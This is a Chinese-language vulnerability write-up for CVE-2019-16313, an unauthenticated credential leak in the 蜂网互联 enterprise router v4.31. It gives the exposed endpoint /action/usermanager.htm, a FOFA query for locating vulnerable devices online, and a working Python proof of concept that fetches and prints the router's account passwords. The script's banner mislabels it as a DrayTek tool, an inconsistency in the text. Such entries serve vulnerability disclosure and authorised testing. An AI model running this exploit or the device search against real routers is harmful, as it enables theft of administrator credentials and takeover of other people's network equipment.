# 蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313
### 漏洞描述
蜂网互联企业级路由器v4.31存在接口未授权访问，导致攻击者可以是通过此漏洞得到路由器账号密码接管路由器
### 漏洞影响
Note
蜂网互联企业级路由器v4.31
### FOFA
Note
app="蜂网互联-互联企业级路由器"
### 漏洞复现
登录页面登录后可以看到，账号密码存在接口访问
而 **/action/usermanager.htm** 存在未授权访问，可通过直接访问获得账号密码
不存在漏洞时 state值为 3
### 漏洞利用POC
```
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: DrayTek企业网络设备 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/action/usermanager.htm"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/action/usermanager.htm \033[0m".format(target_url))
if "pwd" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```
